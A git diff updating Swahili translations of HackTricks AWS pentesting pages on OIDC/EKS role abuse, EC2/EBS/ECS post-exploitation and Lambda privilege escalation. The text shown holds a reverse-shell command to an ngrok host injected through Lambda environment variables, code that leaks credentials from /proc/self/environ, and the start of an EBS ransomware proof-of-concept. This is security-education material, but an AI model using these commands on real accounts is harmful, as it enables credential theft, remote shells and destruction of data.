+7. **ARN** ya **jukumu** ambalo hatua ya github itakuwa na uwezo wa **kujifanya** ni "siri" ambayo hatua ya github inahitaji kujua, hivyo **hifadhi** ndani ya **siri** ndani ya **mazingira**.
+8. Hatimaye tumia hatua ya github kusanidi AWS creds zitakazotumika na workflow:
```yaml
name: "test AWS Access"
@@ -78,7 +78,7 @@ role-session-name: OIDCSession
- run: aws sts get-caller-identity
shell: bash
```
-## OIDC - EKS Dhulumu
+## OIDC - EKS Abuse
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -110,7 +110,7 @@ Inawezekana kuunda **OIDC providers** katika **EKS** cluster kwa kuweka **OIDC U
```
Sera hii inabainisha kwa usahihi kwamba **tu** **EKS cluster** yenye **id** `20C159CDF6F2349B68846BEC03BE031B` inaweza kuchukua jukumu. Hata hivyo, haionyeshi ni akaunti gani ya huduma inaweza kuchukua jukumu hilo, ambayo ina maana kwamba **AKAUNTI YOYOTE YA HUDUMA yenye tokeni ya utambulisho wa wavuti** itakuwa **na uwezo wa kuchukua** jukumu hilo.
-Ili kubainisha **ni akaunti gani ya huduma inapaswa kuwa na uwezo wa kuchukua jukumu,** inahitajika kubainisha **hali** ambapo **jina la akaunti ya huduma limebainishwa**, kama:
+Ili kubainisha **ni akaunti gani ya huduma inapaswa kuwa na uwezo wa kuchukua jukumu,** inahitajika kubainisha **hali** ambapo **jina la akaunti ya huduma linabainishwa**, kama:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index b4229e5f2..9da4ec9a2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
-Kuhifadhiwa kwa trafiki ya VPC **kunakilisha trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC** bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyokilishwa kawaida itatumwa kwa kitu kama mfumo wa kugundua uvamizi wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.\
+VPC traffic mirroring **hupiga picha ya trafiki ya ndani na nje kwa EC2 instances ndani ya VPC** bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyopigwa picha kawaida itatumwa kwa kitu kama mfumo wa kugundua uvamizi wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.\
Mshambuliaji anaweza kutumia hii kukamata trafiki yote na kupata taarifa nyeti kutoka kwake:
Kwa maelezo zaidi angalia ukurasa huu:
@@ -21,9 +21,9 @@ Kwa maelezo zaidi angalia ukurasa huu:
aws-malicious-vpc-mirror.md
{{#endref}}
-### Nakala ya Instance Inayoendesha
+### Copy Running Instance
-Instances kwa kawaida zina aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Hata hivyo, njia nyingine ya kuangalia kile inachokimiliki ni **kuunda AMI na kuendesha instance mpya (hata katika akaunti yako mwenyewe) kutoka kwake**:
+Instances kwa kawaida zina aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Hata hivyo, njia nyingine ya kuangalia kile kinachomo ni **kuunda AMI na kuendesha instance mpya (hata katika akaunti yako mwenyewe) kutoka kwake**:
```shell
# List instances
aws ec2 describe-images
@@ -50,7 +50,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
### EBS Snapshot dump
**Snapshots ni nakala za volumes**, ambazo kwa kawaida zitakuwa na **taarifa nyeti**, hivyo kuzikagua kunapaswa kufichua taarifa hii.\
-Ikiwa unapata **volume bila snapshot** unaweza: **Kuunda snapshot** na kufanya hatua zifuatazo au tu **kuunganisha kwenye instance** ndani ya akaunti:
+Ikiwa unapata **volume bila snapshot** unaweza: **Kuunda snapshot** na kufanya hatua zifuatazo au tu **kuikamata katika instance** ndani ya akaunti:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -74,7 +74,7 @@ Mshambuliaji anaweza kuita API endpoints za akaunti inayodhibitiwa na yeye. Clou
### Open Security Group
-Unaweza kupata ufikiaji zaidi kwa huduma za mtandao kwa kufungua bandari kama hii:
+Unaweza kupata ufikiaji zaidi kwa huduma za mtandao kwa kufungua port kama hii:
```bash
aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
@@ -95,7 +95,7 @@ Required permissions:
- `ssm:StartSession`
-Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kubadilisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Mojawapo ya hali ambapo hii ni muhimu ni kubadilisha kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi klasta ya EKS ya kibinafsi.
+Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kubadilisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Moja ya hali ambapo hii ni muhimu ni kubadilisha kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi klasta ya EKS ya kibinafsi.
> Ili kuanza kikao unahitaji kuwa na SessionManagerPlugin iliyosakinishwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
@@ -104,7 +104,7 @@ Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
-3. Pata akreditivu za muda za Bastion EC2 AWS kwa kutumia [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script
+3. Pata akreditivu za muda za Bastion EC2 AWS kwa kutumia [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
4. Hamisha akreditivu hizo kwenye mashine yako mwenyewe katika faili ya `$HOME/.aws/credentials` kama profaili ya `[bastion-ec2]`
5. Ingia kwenye EKS kama Bastion EC2:
```shell
@@ -121,7 +121,7 @@ kubectl get pods --insecure-skip-tls-verify
```
Kumbuka kwamba muunganisho wa SSL utafaulu isipokuwa uweke bendera `--insecure-skip-tls-verify` (au sawa yake katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitishwa kupitia handaki salama la AWS SSM, uko salama kutokana na aina yoyote ya mashambulizi ya MitM.
-Hatimaye, mbinu hii si maalum kwa kushambulia vikundi vya EKS vya kibinafsi. Unaweza kuweka maeneo na bandari za kiholela kuhamasisha huduma nyingine yoyote ya AWS au programu maalum.
+Hatimaye, mbinu hii si maalum kwa kushambulia vikundi vya EKS vya kibinafsi. Unaweza kuweka majina ya kikoa na bandari za kiholela kuhamasisha huduma nyingine yoyote ya AWS au programu maalum.
### Share AMI
```bash
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{
```
### Tafuta taarifa nyeti katika AMIs za umma na binafsi
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa ili **kutafuta taarifa nyeti ndani ya Picha za Mashine za Amazon (AMIs) za umma au binafsi**. Inafanya mchakato wa kuzindua matukio kutoka kwa AMIs lengwa, kuunganisha volumu zao, na kuchanganua kwa siri au data nyeti zinazoweza kuwepo.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa ili **kutafuta taarifa nyeti ndani ya picha za mashine za Amazon (AMIs) za umma au binafsi**. Inafanya mchakato wa kuzindua matukio kutoka kwa AMIs lengwa, kuunganisha volumu zao, na kuchanganua kwa siri au data nyeti zinazoweza kuwepo.
### Shiriki EBS Snapshot
```bash
@@ -139,7 +139,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe
Uthibitisho wa dhana unaofanana na onyesho la Ransomware lililoonyeshwa katika maelezo ya S3 post-exploitation. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kutokana na urahisi wa kuitumia kuandika huduma mbalimbali za AWS kwa kutumia hiyo.
-Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza funguo inayosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya funguo kwangu, lakini katika hali halisi, mhusika mbaya angehifadhi data ya funguo nje ya udhibiti wa AWS. Badilisha sera ya funguo ili kuruhusu kwa Principal ya akaunti yoyote ya AWS kutumia funguo hiyo. Kwa sera hii ya funguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption'
+Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza funguo inayosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya funguo kwangu, lakini katika hali halisi, mhusika mbaya angehifadhi data ya funguo nje ya udhibiti wa AWS. Badilisha sera ya funguo ili kuruhusu kwa kila Akaunti ya AWS Principal kutumia funguo hiyo. Kwa sera hii ya funguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -239,11 +239,11 @@ Sera ya funguo inahitaji yafuatayo kuwezeshwa ili kuruhusu uwezo wa kuitumia kua
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
-Sasa na funguo inayopatikana hadharani kutumia. Tunaweza kutumia akaunti ya 'mwathirika' ambayo ina EC2 instances kadhaa zilizozinduliwa zikiwa na EBS volumes zisizoandikwa. EBS volumes za akaunti hii ya 'mwathirika' ndizo tunazolenga kwa ajili ya kuandika, shambulio hili liko chini ya dhana ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu.
+Sasa na funguo inayopatikana hadharani kutumia. Tunaweza kutumia akaunti ya 'mwathirika' ambayo ina EC2 instances kadhaa zilizozinduliwa zikiwa na EBS volumes zisizoandikwa. EBS volumes za akaunti hii ya 'mwathirika' ndizo tunazolenga kwa ajili ya kuandika, shambulio hili likiwa chini ya dhana ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu.
 
-Kama mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia funguo inayopatikana hadharani kutoka akaunti ya 'mshambuliaji' kuandika EBS volumes mpya, kisha kuondoa EBS volumes za asili kutoka EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizokuwa zimeandikwa. 
+Kama mfano wa S3 ransomware. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia funguo inayopatikana hadharani kutoka akaunti ya 'mshambuliaji' kuandika EBS volumes mpya, kisha kuondoa EBS volumes za asili kutoka EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizokuwa zimeandikwa. 
Hii inasababisha kuwa na EBS volumes tu zilizokuwa zimeandikwa zilizobaki katika akaunti.
@@ -253,7 +253,7 @@ Pia inafaa kutaja, script ilisimamisha EC2 instances ili kuondoa na kufuta EBS v

-Sasa, rudi kwenye sera ya funguo katika akaunti ya 'mshambuliaji' na uondoe sheria ya sera ya 'Uandishi wa Nje' kutoka kwenye sera ya funguo.
+Ifuatayo, rudi kwenye sera ya funguo katika akaunti ya 'mshambuliaji' na uondoe sheria ya sera ya 'Uandishi wa Nje' kutoka kwenye sera ya funguo.
```json
{
"Version": "2012-10-17",
@@ -324,15 +324,15 @@ Sasa, rudi kwenye sera ya funguo katika akaunti ya 'mshambuliaji' na uondoe sher
]
}
```
-Subiri kwa muda ili sera mpya ya ufunguo iweze kuenea. Kisha rudi kwenye akaunti ya 'mwathirika' na jaribu kuunganisha moja ya EBS volumes mpya zilizofichwa. Utapata kuwa unaweza kuunganisha volume hiyo.
+Subiri kwa muda ili sera mpya ya ufunguo iweze kuenea. Kisha rudi kwenye akaunti ya 'mwathirika' na jaribu kuunganisha moja ya volumu za EBS zilizofichwa kwa siri. Utagundua kwamba unaweza kuunganisha volumu hiyo.
 
-Lakini unapojaribu kuanzisha tena EC2 instance na EBS volume iliyofichwa itashindwa tu na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani EBS volume iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena.
+Lakini unapojaribu kuanzisha tena EC2 instance na volumu ya EBS iliyofichwa kwa siri itashindwa tu na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani volumu ya EBS iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena.
 
-Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichaji. Script itafanya nakala zilizofichwa za EBS volumes ZOTE zinazopatikana zilizounganishwa kwa EC2 instances ZOTE katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, kuondoa EBS volumes za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha EBS volumes zilizofichwa pekee katika akaunti ya 'mwathirika' iliyolengwa. TUMIA SCRIPT HII KATIKA KIZAZI CHA MAJARIBIO TU, NI YA KUHARIBU NA ITAFUTA EBS VOLUMES ZOTE ZA AWALI. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulitumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kuwa hii ni PoC ya ransomware mwishoni mwa siku.
+Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichuzi. Script itafanya nakala zilizofichwa za EBS zote zinazopatikana zilizounganishwa kwa EC2 instances zote katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, kuondoa volumu za EBS za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha tu volumu za EBS zilizofichwa katika akaunti ya 'mwathirika' iliyolengwa. TUMIA SCRIPT HII KATIKA KIZAZI CHA MAJARIBIO TU, NI DESTRUCTIVE NA ITAFUTA VOLUMU ZOTE ZA EBS ZA AWALI. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulio tumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka kukufahamisha kwamba hii ni PoC ya ransomware mwishoni mwa siku.
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index c369f702f..5d5714389 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -46,10 +46,10 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
-Baada ya kupakua picha, unapaswa **kuziangalia kwa taarifa nyeti**:
+Baada ya kupakua picha, unapaswa **kuzikagua kwa taarifa nyeti**:
{{#ref}}
-https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index 3a2a1a8d8..039c560ad 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -16,7 +16,7 @@ Katika ECS, **IAM role inaweza kupewa kazi** inayokimbia ndani ya kontena. **Iki
Hii inamaanisha kwamba ikiwa utaweza **kudukua** instance ya ECS unaweza kupata **IAM role inayohusiana na ECR na EC2 instance**. Kwa maelezo zaidi kuhusu jinsi ya kupata akreditivu hizo angalia:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
@@ -24,21 +24,21 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Privesc to node to steal other containers creds & secrets
-Lakini zaidi ya hayo, EC2 inatumia docker kuendesha kazi za EC, hivyo ikiwa unaweza kutoroka hadi node au **kupata ufikiaji wa docker socket**, unaweza **kuangalia** ni **kontena gani nyingine** zinazoendesha, na hata **kuingia ndani yao** na **kudukua IAM roles** zao zilizounganishwa.
+Lakini zaidi, EC2 inatumia docker kuendesha kazi za EC, hivyo ikiwa unaweza kutoroka hadi node au **kupata ufikiaji wa docker socket**, unaweza **kuangalia** ni **kontena gani nyingine** zinazoendesha, na hata **kuingia ndani yao** na **kuchukua IAM roles** zao zilizounganishwa.
#### Making containers run in current host
-Zaidi ya hayo, **EC2 instance role** kwa kawaida itakuwa na **idhini** ya kutosha **kupdate hali ya instance ya kontena** za EC2 zinazotumika kama nodes ndani ya klasta. Mshambuliaji anaweza kubadilisha **hali ya instance kuwa DRAINING**, kisha ECS it **ondoe kazi zote kutoka kwake** na zile zinazokimbia kama **REPLICA** zita **kimbia katika instance tofauti,** labda ndani ya **instance ya mshambuliaji** ili aweze **kudukua IAM roles** zao na taarifa nyeti zinazoweza kuwa ndani ya kontena.
+Zaidi ya hayo, **EC2 instance role** kwa kawaida itakuwa na **idhini** ya kutosha **kuboresha hali ya instance ya kontena** za EC2 zinazotumika kama nodes ndani ya klasta. Mshambuliaji anaweza kubadilisha **hali ya instance kuwa DRAINING**, kisha ECS it **ondoe kazi zote kutoka kwake** na zile zinazokimbia kama **REPLICA** zita **kimbia katika instance tofauti,** labda ndani ya **instance ya mshambuliaji** ili aweze **kuchukua IAM roles** zao na taarifa nyeti zinazoweza kuwa ndani ya kontena.
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
```
-Teknolojia hiyo hiyo inaweza kufanywa kwa **kuondoa EC2 instance kutoka kwa klasta**. Hii inaweza kuwa na ufanisi mdogo lakini it **lazimisha kazi kufanywa katika instances nyingine:**
+Teknolojia hiyo hiyo inaweza kufanywa kwa **kuondoa EC2 instance kutoka kwa kundi**. Hii inaweza kuwa na ufanisi mdogo lakini it **lazimisha kazi kufanywa katika instances nyingine:**
```bash
aws ecs deregister-container-instance \
--cluster --container-instance --force
```
-Njia ya mwisho ya kulazimisha upya utekelezaji wa kazi ni kwa kuashiria ECS kwamba **kazi au kontena ilisimamishwa**. Kuna API 3 zinazoweza kutumika kufanya hivi:
+Teknolojia ya mwisho kulazimisha upya utekelezaji wa kazi ni kwa kuashiria ECS kwamba **kazi au kontena ilisimamishwa**. Kuna APIs 3 zinazoweza kutumika kufanya hivi:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster \
@@ -50,8 +50,8 @@ aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
-### Pora taarifa nyeti kutoka kwa kontena za ECR
+### Kuiba taarifa nyeti kutoka kwa kontena za ECR
-Kipande cha EC2 kinaweza pia kuwa na ruhusa `ecr:GetAuthorizationToken` inayoruhusu **kupakua picha** (unaweza kutafuta taarifa nyeti ndani yao).
+Ili hali ya EC2 inaweza pia kuwa na ruhusa `ecr:GetAuthorizationToken` ikiruhusu **kupakua picha** (unaweza kutafuta taarifa nyeti ndani yao).
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index 75eb9a09f..04cd13eaa 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -13,7 +13,7 @@ Maelezo zaidi kuhusu lambda katika:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Watumiaji wenye ruhusa **`iam:PassRole`, `lambda:CreateFunction`, na `lambda:InvokeFunction`** wanaweza kuongeza mamlaka yao.\
-Wanaweza **kuunda kazi mpya ya Lambda na kuipatia jukumu la IAM lililopo**, wakitoa ruhusa zinazohusiana na jukumu hilo kwa kazi hiyo. Mtumiaji anaweza kisha **kuandika na kupakia msimbo kwenye kazi hii ya Lambda (kwa mfano, na rev shell)**.\
+Wanaweza **kuunda kazi mpya ya Lambda na kuipatia jukumu la IAM lililopo**, wakitoa kazi hiyo ruhusa zinazohusiana na jukumu hilo. Mtumiaji anaweza kisha **kuandika na kupakia msimbo kwenye kazi hii ya Lambda (kwa mfano, na rev shell)**.\
Mara kazi hiyo inapowekwa, mtumiaji anaweza **kuanzisha utekelezaji wake** na vitendo vilivyokusudiwa kwa kuitisha kazi ya Lambda kupitia API ya AWS. Njia hii inaruhusu mtumiaji kufanya kazi kwa njia isiyo ya moja kwa moja kupitia kazi ya Lambda, ikifanya kazi kwa kiwango cha ufikiaji kilichotolewa kwa jukumu la IAM lililohusishwa nacho.\\
Mshambuliaji anaweza kutumia hii kupata **rev shell na kuiba token**:
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
-Inawezekana pia kuvuja akreditivu za jukumu la lambda bila kuhitaji muunganisho wa nje. Hii itakuwa na manufaa kwa **Lambdas zilizotengwa na Mtandao** zinazotumika kwenye kazi za ndani. Ikiwa kuna vikundi vya usalama visivyojulikana vinavyofanya uchujaji wa shell zako za nyuma, kipande hiki cha msimbo kitakuruhusu kuvuja moja kwa moja akreditivu kama matokeo ya lambda.
+Inawezekana pia kuvuja akreditivu za jukumu la lambda bila kuhitaji muunganisho wa nje. Hii itakuwa na manufaa kwa **Network isolated Lambdas** zinazotumika kwenye kazi za ndani. Ikiwa kuna vikundi vya usalama visivyojulikana vinavyofanya uchujaji wa shell zako za nyuma, kipande hiki cha msimbo kitakuruhusu kuvuja moja kwa moja akreditivu kama matokeo ya lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -75,7 +75,7 @@ cat output.txt
**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu la huduma ya lambda lililobainishwa.
> [!CAUTION]
-> Kumbuka kwamba hata kama inaweza kuonekana kuvutia **`lambda:InvokeAsync`** **haikubali** peke yake **kutekeleza `aws lambda invoke-async`**, unahitaji pia `lambda:InvokeFunction`
+> Kumbuka kwamba hata kama inaweza kuonekana kuvutia **`lambda:InvokeAsync`** **haikubali** kwa peke yake **kutekeleza `aws lambda invoke-async`**, unahitaji pia `lambda:InvokeFunction`
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
@@ -92,14 +92,14 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
Watumiaji wenye ruhusa **`iam:PassRole`, `lambda:CreateFunction`, na `lambda:CreateEventSourceMapping`** (na labda `dynamodb:PutItem` na `dynamodb:CreateTable`) wanaweza kwa njia isiyo ya moja kwa moja **kuinua mamlaka** hata bila `lambda:InvokeFunction`.\
Wanaweza kuunda **kazi ya Lambda yenye msimbo mbaya na kuipatia jukumu la IAM lililopo**.
-Badala ya kuitisha moja kwa moja Lambda, mtumiaji anajiandaa au anatumia meza ya DynamoDB iliyopo, akiunganisha nayo Lambda kupitia ramani ya chanzo cha tukio. Mpangilio huu unahakikisha kazi ya Lambda inachochewa **kiotomatiki wakati kipengele kipya** kinapoingia kwenye meza, ama kwa kitendo cha mtumiaji au mchakato mwingine, hivyo basi kuitisha kazi ya Lambda kwa njia isiyo ya moja kwa moja na kutekeleza msimbo huo kwa ruhusa za jukumu la IAM lililopitishwa.
+Badala ya kuitisha moja kwa moja Lambda, mtumiaji anajiandaa au anatumia meza ya DynamoDB iliyopo, akiunganisha nayo Lambda kupitia ramani ya chanzo cha tukio. Mpangilio huu unahakikisha kazi ya Lambda inachochewa **kiotomatiki wakati kipengele kipya** kinapoingia kwenye meza, ama kwa kitendo cha mtumiaji au mchakato mwingine, hivyo basi kuitisha kazi ya Lambda kwa njia isiyo ya moja kwa moja na kutekeleza msimbo kwa ruhusa za jukumu la IAM lililopitishwa.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
-Ikiwa DynamoDB tayari iko hai katika mazingira ya AWS, mtumiaji tu **anahitaji kuanzisha ramani ya chanzo cha tukio** kwa kazi ya Lambda. Hata hivyo, ikiwa DynamoDB haitumiki, mtumiaji lazima **aweze kuunda meza mpya** yenye utiririshaji ulioanzishwa:
+Ikiwa DynamoDB tayari ina shughuli katika mazingira ya AWS, mtumiaji tu **anahitaji kuanzisha ramani ya chanzo cha tukio** kwa kazi ya Lambda. Hata hivyo, ikiwa DynamoDB haitumiki, mtumiaji lazima **aweze kuunda meza mpya** yenye utiririshaji ulioanzishwa:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name /tmp/outout
```
-**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu la huduma ya lambda kwa kutoa ruhusa ya kubadilisha msimbo na kuutekeleza.
+**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la huduma ya lambda inayotumika kwa kutoa ruhusa ya kubadilisha msimbo na kuutekeleza.
### `lambda:AddLayerVersionPermission`
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
-Watumiaji wenye ruhusa ya **`lambda:UpdateFunctionCode`** wana uwezo wa **kubadilisha msimbo wa kazi ya Lambda iliyopo ambayo imeunganishwa na jukumu la IAM.**\
-Mshambuliaji anaweza **kubadilisha msimbo wa lambda ili kuhamasisha akreditivu za IAM**.
+Watumiaji wanaoshikilia ruhusa ya **`lambda:UpdateFunctionCode`** wana uwezo wa **kubadilisha msimbo wa kazi ya Lambda iliyopo ambayo imeunganishwa na jukumu la IAM.**\
+Mshambuliaji anaweza **kubadilisha msimbo wa lambda ili kuhamasisha akreditivu za IAM.**
-Ingawa mshambuliaji huenda hana uwezo wa moja kwa moja wa kuitisha kazi hiyo, ikiwa kazi ya Lambda tayari ipo na inafanya kazi, kuna uwezekano kwamba itasababishwa kupitia michakato au matukio yaliyopo, hivyo kusaidia kwa njia isiyo ya moja kwa moja utekelezaji wa msimbo uliobadilishwa.
+Ingawa mshambuliaji huenda hana uwezo wa moja kwa moja kuanzisha kazi hiyo, ikiwa kazi ya Lambda tayari ipo na inafanya kazi, kuna uwezekano kwamba itasababishwa kupitia michakato au matukio yaliyopo, hivyo kusaidia kwa njia isiyo ya moja kwa moja utekelezaji wa msimbo uliobadilishwa.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -167,17 +167,17 @@ Kwa ruhusa hizi inawezekana kuongeza mabadiliko ya mazingira ambayo yatapelekea
```bash
aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
-Kwa lugha nyingine za skripti kuna mazingira mengine ya mabadiliko unaweza kutumia. Kwa maelezo zaidi angalia sehemu ndogo za lugha za skripti katika:
+Kwa lugha nyingine za skripti kuna mabadiliko mengine ya mazingira unayoweza kutumia. Kwa maelezo zaidi angalia sehemu ndogo za lugha za skripti katika:
{{#ref}}
-https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
